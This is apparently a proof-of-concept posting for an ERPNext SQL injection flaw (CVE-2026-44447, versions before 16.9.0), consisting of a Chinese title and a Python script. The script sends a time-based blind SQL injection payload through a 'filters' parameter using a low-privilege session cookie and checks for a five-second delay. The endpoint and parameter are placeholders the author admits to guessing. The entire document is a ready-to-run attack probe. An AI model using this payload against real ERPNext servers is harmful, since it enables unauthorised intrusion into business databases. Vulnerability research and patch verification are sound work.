CVE-2026-44447 ERPNext SQL注入漏洞

import requests # ERPNext SQL Injection PoC Concept # Target: ERPNext < 16.9.0 # Description: Sending a malicious payload to a vulnerable endpoint. target_url = "http://target-erpnext.com/api/resource/SomeResource" # Replace with actual endpoint # Example payload for time-based blind SQL injection # This payload attempts to cause a delay if the database is vulnerable payload = "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -" # Cookies representing a low-privilege user session cookies = { "sid": "low_privilege_session_id_here" } params = { "filters": payload # Assuming the vulnerable parameter is 'filters' } try: print(f"[*] Sending payload to {target_url}...") response = requests.get(target_url, params=params, cookies=cookies, timeout=10) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! Response delayed by database sleep.") else: print("[-] Vulnerability not detected or patched.") except Exception as e: print(f"[!] Error occurred: {e}")